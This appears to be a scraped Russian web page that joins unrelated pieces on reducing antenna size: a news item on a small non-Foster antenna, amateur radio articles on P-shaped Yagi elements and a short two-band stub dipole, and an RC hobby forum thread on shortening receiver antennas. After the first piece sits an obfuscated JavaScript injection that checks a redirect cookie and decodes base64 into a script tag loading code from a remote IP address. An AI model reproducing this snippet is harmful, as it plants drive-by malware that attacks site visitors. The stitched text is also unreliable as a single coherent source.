Как уменьшить размер антенны вопреки теоретическому ограничению?
Переносные радиостанции метрового диапазона длин волн широко распространены в военной сфере, где очень важны массо-габаритные показатели.
И если размеры приемопередатчиков заметно уменьшаются благодаря миниатюризации элементной базы электроники, то антенны остаются неизменными в течение многих десятилетий. Причиной этой «размерной стабильности» являются ограничения, основанные на теоретических исследованиях, которые выполнены почти 70 лет и считаются незыблемыми как законы физики (точнее – радиофизики). Одним из основных барьеров на пути к миниатюризации антенных конструкций является фундаментальный предел Чу-Харрингтона для электрически малых антенн с размерами менее половины рабочей длины волны (L) радиостанции. Согласно этому ограничению, длина электрически малой антенны не может быть меньше, чем L/6,28 (0,16 х L), в противном случае эффективность антенны резко падает.
В последние годы различными исследователями предпринимались попытки как-то «обойти» злополучный предел, но уже при размере антенны около 0,11 х L (в 1,5 раза меньше предела Чу) ее эффективность снижалась до 1%. И вот недавно в Центре военно-космических и военно-морских исследований ВМС США сотрудник лаборатории прикладного электромагнетизма Джастин Черч, используя специальные активные схемы (так называемые «нефостеровские») и их согласование с антенной, сумел при размере электрически малой антенны 0,064 х L (в 2,5 раза меньше предела Чу) добиться ее эффективности на уровне 85%.
Поскольку такой результат достигнут благодаря техническим «ухищрениям» в области схемотехники, а не в конструкции излучателя, классическую теорию электрически малых антенн пересматривать, по-видимому, не придется. Но при желании ее «обойти», можно будет воспользоваться изобретением Черча.
См. также:
function getCookie(e)\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0>var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time) Источник
Уменьшение размеров антенны
Способы уменьшения размеров антенны. Этот небольшой раздел относится к любым конструкциям антенн, особенно дипольных. Следует знать, что расширение рабочего диапазона частот антенны связано с нежелательным увеличением диаметра ее проводов. На практике нередко заменяют цилиндрические проводники со сплошной поверхностью пластинами или рядом более тонких проводников, расположенных в одной плоскости, либо по цилиндрической поверхности.
При необходимости можно заменить сплошной трубчатый проводник радиуса г сплошной пластиной, ширина которой L = 4г, если г «X. При этом имеется возможность сократить примерно вдвое вес и парусность вибратора как объемного, так и плоскостного типов за счет существенного (примерно на порядок) уменьшения поперечных размеров их конечных участков.
Очень коротко об основных понятиях: Имеется большое количество литературы, посвященной описанию антенных систем различнейших конструкций. В разделах «Радио», «Радиолюбитель» и «Радиомир. KB и УКВ» (и многих других) постоянно печатаются статьи о новых разработках радиолюбительских антенн для различных диапазонов.
Неиссякаемым источником любой радиолюбительской информации стал Интернет. Так что заинтересованный читатель всегда может найти массу информации по вопросам конструирования и работы различных антенных систем. Поэтому я не буду останавливаться на описании вопросов создания и работы популярных антенн, информации по которым вполне достаточно. В этой статье будут описаны только некоторые специальные антенны, которые, по моему мнению, не достаточно освещены в любительской литературе.
В начале этой статьи я сделаю для начинающих радиолюбителей краткие описания основных элементов и понятий, имеющих отношение практически к любой радиолюбительской антенной системе. Такими элементами и понятиями являются: Полуволновый вибратор; петлевой вибратор; фидер; понятие диаграммы направленности.
Полуволновый вибратор: Излучаемая антенной радиопередатчика электромагнитная энергия характеризуется определенной величиной, называемой частотой колебаний, которая представляет собой количество единичных электромагнитных периодов, возникающих в течение одной секунды. За единицу измерения частоты колебаний принято такое состояние излучаемой электромагнитной энергии, когда за одну секунду возникает только один период колебаний. Такая единица измерения называется Герц (по фамилии известного ученого).
Частота колебаний определяется по формуле f (кГц) » 300 000 (км/с) / Л (м). И теория и практика антенных систем показали, что наилучшими условиями излучения электромагнитных волн (или приема этих волн) обладают антенны, геометрические размеры которых равны длине волны или составляют половину длины волны, но не менее одной четвертой части от длины волны.
Наибольшее применение в радиолюбительских УКВ антеннах в качестве излучающего элемента приобрел прямолинейный цилиндрический проводник, питаемый генератором электромагнитных колебаний высокой частоты. Длина этого элемента равна половине длины излучаемых им радиоволн, поэтому этот элемент получил название полувалновый вибратор (диполь). Что нужно знать о полуволновом вибраторе: Полуволновый вибратор (диполь) может быть либо активным, либо пассивным элементом.
Пассивные вибраторы могут быть либо длиннее, либо короче активного вибратора. Более длинный вибратор называют рефлектором, укороченные вибраторы называются директоры. Антенная система, созданная из активного вибратора, рефлектора и нескольких директоров, расположенных параллельно друг другу на одной несущей траверсе, называется волновой канал.
Как уменьшить размер антенны
Как улучшить параметры и уменьшить габариты антенны Волновой канал?
Применить П-образные элементы вместо стандартных линейных
В антенне Б, поскольку она не представляет практического интереса, для упрощения приняты элементы диаметром 30 мм по всей длине.
0,13 дБ, поэтому антенна А по величине Gmax и уступает двум другим ( зато имеет лучшую «предрасположенность» по параметру F/B).
Понятно, что параметры антенны определяются величинами и фазами токов в пассивных элементах, т.е. их настройкой (длиной) и положением на буме.. Хорошо известно также, что настройка на получение максимального значения F/B, как правило, не совпадает с настройкой на максимальное усиление. Это положение в полной мере проявляется в антенне Б – её расчетное усиление на 1,25 дБ меньше GmaxБ. В антенне В эти настройки сблизились и усиление ощутимо выросло (меньше максимального на 0,87 дБ), но за это пришлось «заплатить» значительным удлинением антенны. А вот в антенне А настройка на высокий F/B = 25,3 дБ позволяет также получить и близкое к Gmax А усиление G = 6,95 дБ (разница всего 0,29 дБ).
Вывод – применение П-элементов позволило максимально реализовать потенциальные возможности 4-х элементной антенны.
Приведенные расчетные сравнительные данные, возможно, вызовут удивление у читателей, также как вначале приятно удивили автора этих расчетов. Насколько правильны эти результаты? Поиски в Интернете не выявили работ, касающихся рассматриваемой темы. Настоящую проверку можно произвести, сравнив работу антенн А, Б и В на полигоне или хотя бы в эфире, но для этого их нужно будет изготовить.
Попробуем разобраться, почему антенна А превосходит по усилению антенну Б.
Интересно проделать эксперимент – в антеннах Б, Бпр и А рассчитать F/B при отключенных директорах ( в MMANA поставить этим элементам нулевой радиус). Получаются соответственно значения 10,3, 12,5 и 15 дБ. Потенциальная возможность П-рефлектора «самостоятельно выдать» F/B около 20 дб, как видим, не используется, но и дополнительные 3..5 дБ оказываются очень кстати. Хотя бы потому, что «позволяют» в большей степени ориентировать настройку директоров на получение высокого усиления.
Таким образом можно считать, что повышенное ( за счет использования П-рефлектора) входное сопротивление АЭ способствует получению высоких значений параметра F/B. Вместе с тем, если в четырехэлементной антенне оставить П-образными только оба директора (АЭ и рефлектор линейные) выигрыш над линейной антенной все равно сохранится, хотя и в меньшей степени.
Расчеты показали, что на диапазоне 20 м оптимальный размер средней части П-элемента около 7,7 м или ℓср опт ≈ 0,36λ, а на диапазонах 40 и 80 м приемлемым можно считать ℓср≥ 0,33 λ. В 4-х элементной антенне для диапазона 40 м в соответствии с принципом подобия ( и расчеты это подтверждают) замена линейных элементов на П-образные позволит уменьшить её длину на 5,5..6 м.
Рассмотрим возможность создания многодиапазонной антенны на базе антенны А.
Основные параметры (высота над землей 41 м):
1 Диапазон 7,0..7,2 МГц Ga = 14,0..14,4 дБд, F/B = 28.2..23,4..20,8 дБ, КСВ 1,5..1,2..1,95
2 Диапазон 14,0..14,3 Ga = 14,9..15,6 дБд, F/B = 20,9..22,5..17,8 дБ, КСВ 1,35..1,02..1,6
Цель этой статьи – обратить внимание радиолюбителей и специалистов на перспективы применения элементов «ломаной формы» в многоэлементных антеннах ВК.
Как уменьшить размер антенны
ДИПОЛЬНАЯ АНТЕННА С УМЕНЬШЕННЫМИ РАЗМЕРАМИ
Ниже приводятся результаты проведенных исследований проволочной антенны, которую автор назвал «разомкнутый шлейфовый вибратор». Как оказалось, такая антенна имеет существенно меньшие размеры, нежели обычный диполь, и, кроме того, имеет две резонансные частоты, которые можно настроить на два любительских диапазона с частотой, отличающейся в два раза. При этом антенна на обоих диапазонах питается одним коаксиальным кабелем без применения каких-либо согласующих устройств, и имеет вполне приемлемый КСВ на каждом диапазоне.
Принципиальная схема антенны показана на рис.1. Как видно из рисунка, антенна представляет собой диполь, плечи которого выполнены из двухпроводных короткозамкнутых на концах линий с воздушной изоляцией. В этом отношении описываемая антенна похожа на обычный шлейфовый вибратор. Отличие от шлейфового вибратора заключается в том, что точки а и б (см.рис.1), которые в шлейфовом вибраторе соединены между собой (и могут быть заземлены), в данной антенне изолированы друг от друга и от земли. Питается антенна в точках, обозначенных на рис.1 как Х Х, и имеет входное сопротивление около 50 Ом.
Как оказалось, данная антенна имеет два основных резонанса, частоты которых определяются длиной плеча вибратора l и волновым сопротивлением двухпроводной линии Z, из которой выполнены плечи вибратора. Если резонансную частоту обычного полуволнового вибратора с такой же длиной плеч l обозначить как F0, то для двух резонансных частот частот разомкнутого шлейфового вибратора можно записать следующие формулы:
F1 = F0 * K1
F2 = F0 * K2
__________________________________________________
Z : K1 : K2
Ом : :
: :
__________________________________________________
600 : 0.63 : 1.36
__________________________________________________
550 : 0.65 : 1.35
__________________________________________________
500 : 0.66 : 1.33
__________________________________________________
450 : 0.68 : 1.32
__________________________________________________
400 : 0.69 : 1.31
__________________________________________________
350 : 0.71 : 1.29
__________________________________________________
300 : 0.73 : 1.27
__________________________________________________
250 : 0.75 : 1.25
__________________________________________________
200 : 0.77 : 1.23
__________________________________________________
При всех приведенных в таблице значениях волнового сопротивления двухпроводной линии входное сопротивление антенны около 50 Ом.
Конструктивные параметры линии (расстояние между проводниками при заданном диаметре проводников) можно определить по волновому сопротивлению Z при помощи, например, графика, приведенного на рис.1-24 в известной книге Ротхамеля.
Из данных, приведенных в таблице, можно сделать следующие выводы.
Если мы хотим построить однодиапазонную антенну с минимальными размерами, то необходимо выбирать максимальное значение волнового сопротиления Z (большое отношение растояния между проводниками к диаметру проводников). При волновом сопротивлении Z=600 Ом размеры антенны составят всего 63% от размеров полуволнового диполя (т.е. длина полотна антенны «разомкнутый шлейфовый вибратор» 2l = 26 м для диапазона 3.5 МГц, вместо 41 м для обычного диполя). Практически удобно сделать длину полотна антенны несколько больше требуемой и добавить короткозамыкающие перемычки вблизи концов диполя (см. рис. 2).
Передвигая перемычки (симметрично с обоих концов) можно настроить антенну на заданную рабочую частоту. Практические размеры антенны на 7 МГц минимальных размеров следующие:
длина плеча диполя l = 690 см;
положение перемычки 30 см от конца диполя;
волновое сопротивление линии Z = 600 Ом ( растояние между проводниками в 80 раз больше их диаметра).
Такая антенна имеет вторую резонансную частоту в районе 15 МГц.
Если мы хотим построить двухдиапазонную антенну, то необходимо выбирать вполне определенное значение Z. Например при соотношении рабочих частот 1 : 2 (например 3.5 и 7 МГц) Z должно быть равно 500 Ом (расстояние между проводниками линии в 30 раз больше диаметра проводников).
длина плеча диполя l = 730 см;
положение перемычки l1 = 690 см;
длина отрезка одиночного провода l2 = 20 см;
волновое сопротивление линии Z = 450 Ом (растояние между проводниками в 20 раз больше их диаметра).
Следует отметить, что на данную антенну, как на любые проволочные антенны, сильно влияют окружающие предметы. Поэтому приведенные практические размеры следует рассматривать как ориентировочные.
Отметим, также, что плечи диполя можно наклонить вниз как в антенне Inverted V.
В принципе, описанная антенна является двухдиапазонной. Однако она удовлетворительно работает и на четвертой гармонике основной частоты. Конечно, с помощью двух регулировок (положение перемычек и длина полотна) антенну можно настроить только на два диапазона. Тем не менее при правильной настройке третий резонанс окажется близким к учетверенной основной частоте. Таким образом, построив антенну на 1.8/3.5 МГц можно получить антенну, способную работать на всех трех низкочастотных диапазонах (1.8,3.5 и 7 МГц). При этом, правда, придется смириться с несколько повышенным КСВ на 7 Мгц.
Антенна на 3.5/7 МГц позволит работать на 3.5, 7 и 14 МГц при повышенном КСВ на 14 МГц.
По всем вопросам, связанным с этой антенной обращаться к автору по E-mail ra9mb@qsl.net
Автор также просит всех коллег-радиолюбителей, повторивших эту антенну, сообщить свое впечатление по тому-же адресу.
Укорачивание антенны приёмника.
Опции темы
Укорачивание антенны приёмника.
Можно ли укоротить антенну приёмника?Как это сделать?Воспользовался поиском на сайте. ничего так и не нашёл. Может просто кривой я. Если тема была ссылку что-ли дайте. Просьба модераторам не бранится на меня.
НЕЛЬЗЯ. РЕЗКО упадет дальность приема со всеми вытекающими
А чё тогда делать?Очень уж длинная.
Наберите в Googlе волшебные слова :
школа дядьки глайдера антена.
И будет счастье.
Вот пример
Мож обмотать её как нибудь интересно?Ну там вокруг трубочки. Или есчо как нибудь можно?
но дальность может снизиться особенно на 27 АМ но попробовать можно
Поскольку приёмник самолётный, а стоит на Монстре, то чё прикажешь ездить с метровой трубкой?
Ни в коей мере не подвергая сомнению компетентность предыдущих авторов, осмелюсь дать совет, проверенный временем http://forum.rcdesign.ru/index.php?showtop. 860&#entry24860 (пункт #2 в ответе nbc)
Подобный медот «укорачивания» антенны использовался и используется мной до сих пор на некоторых моих авиа и автомоделях.
А какой длины антена то? В смысле, из за чего сыр-бор?
Трубку или провод укоротить?
Если 40-50 см, то это самая красивая антена.
В комплекте с приемником HFS-04MG идет специальная катушечка для намотки длинной антены.
Антенна длиной метр.Проблему решил.Пришлось поставить трубочку длиной окола метра(боуден). Жжесть получилась, скажу я вам. Просто жжесть.Очень весело она гнётся на скорости.
Тема полностью вычищена, начиная с 28 числа (с появления в ней G&V). Аккаунт G&V закрыт, и все что он написал на форуме будет в ближайшее время удалено. Остальных прошу с пониманием отнестись к слушившемуся неудобству.
Еще раз напоминаю, что у всех у нас могут быть разные мнения по любым вопросам, но условием присутствия на данном форуме является терпимость и уважение к другим, независимо от чувства собственной правоты.
Насколько мне не изменяет память, данная тема уже обсуждалась и поиском можно найти примерно те же самые результаты, что были удалены, за исключением трамвайного хамства. Но я абсолютно уверен, что топики на данную тему будут создаваться с интервалом в год-другой несмотря ни на что.
А мне придется хвастаться заново.
A мне надоела большая антенна на передатчике- когда вертишься на «Тенсоре» вокруг себя- неудобно.
Да и на самолете таскать «хвост» не красиво. И еще проблема- меня задолбали вопросы- «а какой у вас канал? И иногда высказывания «ой, а на этом поле есть помехи» меня тоже не радуют.
И я решил эти задачи комплексно.Теперь ни одна проблема меня не беспокоит.
Огромное Спасибо Лехе Ланцову за тест- он нашел глюк в передатчике, который уже устранен.
На предпоследней фотке Тора в снегу. Из-за снега все живо и не сломано.
Отдельное спасибо Диме Морщакину(третья фотка), отважно пропахавшему пару километров по колено в снегу.
А мне лень.
Да и рухнула слабая надежда поставить точку в этом вопросе.
да выпускаются и продаются эти укороченные антенны, которые местные корифеи считают чем то сказочных и недопустимым
А теоритически и практически согласно книг Ротхаммеля штыревая антенна (телескоп) имеет диаграмму направленности в форме четырех лепестков и при игре длинной антенны (провода/телескопа) лепестки растягиваются, тем самым дальность при определенном положении источника сигнала к антенне уменьшается. См. рисунок.
Спиральные антенны имеет круговую диаграмму направленности, т.самым дальность стабильна, но меньше.
GV мне кажется только это и имел в виду.
А опять же если верить книгам Ротхаммеля, то что один тип, что другой ориентировочно по дальности одинаков.
Если сложить все параметры (дальность и направленность), то теоритически спиральнее лучше. И в большей степени только из-за того, что дальность не зависит от положения антенн передатчика и приемника.
И это с учетом того, что штыревые антенны передатчиков футаба абсолютно не выполняют требования по необходимой длинне.
Согласен, но как часто мы держим модель по оси антенны?
Практически никогда..
А теоритически и практически согласно книг Ротхаммеля штыревая антенна (телескоп) имеет диаграмму направленности в форме четырех лепестков и при игре длинной антенны (провода/телескопа) лепестки растягиваются, тем самым дальность при определенном положении источника сигнала к антенне уменьшается. См. рисунок.
Спиральные антенны имеет круговую диаграмму направленности, т.самым дальность стабильна, но меньше.
Обе антенны при одинаковой длинне имеют одинаковую диаграмму направленности.
Читайте книги внимательней!
А применение разъема на антенне считаю совсем недопустимым.
В радиосвязи вы просто услышите шум,а здесь-дрова.
Разъем,да еще тот которым постоянно пользуются-самая ненадежная часть аппаратуры.
Вобщем спорим с утверждением,что спиралька всем лучше.
Это обман.
Вот собственно моя позиция.
Спиральная антенна имеет круговую поляризацию. Могу выложить отсканированную страницу.
Я не спорю, что спиральная лучше штыревой. Я просто даю информацию, которая поставил точку в споре.
Диаметр спирали должен быть равен = 9300/частоту в Mhz, т.е. для 40 Mhz = 232,5 см. Вот этот вариант 
ну совсем неудобен. Зато лупить будет намного лучше штыря.
Ну блин, это ж ежу ясно, что речь не о идеальных спиральках немеряного диаметра. Тогда толку от диаграмм? Давайте еще обсудим поведение идеальной шарообразной лошади в вакууме.
Тогда собственно вопрос закрыт.
При 20 см размере спиральная НЕ БУДЕТ сравнима с штыревой антенной ПРАВИЛЬНОЙ длинны.
К сожалению у футабы антенны НЕПРАВИЛЬНЫЕ. Но сойдет
Можно, намотав на диэлектрик. Проверить макс. дальность действия аппаратуры.
И расстроиться, т.к. уйма времени потрачена впустую
Молодец. Читай дальше. Страница 103, сверху.
Упс..
Что у всех антенны на передатчиках стоят вертикально?
Значит один я лох летаю с передатчиком у которого антенна параллельно земле.. Как-то удобнее пульт держать
И в результате оценивать телескоп нужно как антенну в виде длинного провода.
Стр.42 внизу
Вот накоплю на Футабу 9 и буду ставить ёё как можно вертикальнее, но тоже вертикально её не поставишь 
Т.ч. я не ошибся, уважаемый Дмитрий.
З.ы. Учимся не только читать, но и осмысливать прочтенное.
Там-же, на стр 43, приведена формула определения размера антенны.
В результате на приведённом вами рисунке диаграммы соответствуют антеннам длиной 7,5м, 15м, 22,5м, 30м и 37,5м.
Creator, у вас правда на передатчике телескоп больше 7метров?
Что ж вы такой дотошный?
Согласен, что телескоп передатчика ДОСЛОВНО нельзя расценивать как «антенна в виде длинного провода», но и расценивать горизонтально расположенную антенну как вертикальный штырь абсолютно нельзя. Всё же горизонтальная антенна ближе как-то к «. проводу».
И не важно какая длина. Важно, что поляризация все равно будет уже НЕ круговая.
Не надо читать каждую букву.
Если держать передатчик строго антенной перпендикулярно земле, то в данном случае телескоп также можно считать вертикальным штырем.
И в итоге добавлю, что антенны наших передатчиков даже полуволновыми или четверть. вибраторами назвать-то нельзя, т.к. их длина не соответствует ни одному из диапазонов.
именно поэтому GV собственно и заявлял, что спиральные работают лучше, НО не штыревых антенн (которые даже близко нельзя ставить с телескопами), а именно убогих и непральных телескопов.
Я согласен с тем, что спиральки могут быть лучше РОДНЫХ телескопов. Но каждую антенку на каждый диапазон. А это не есть удобно.
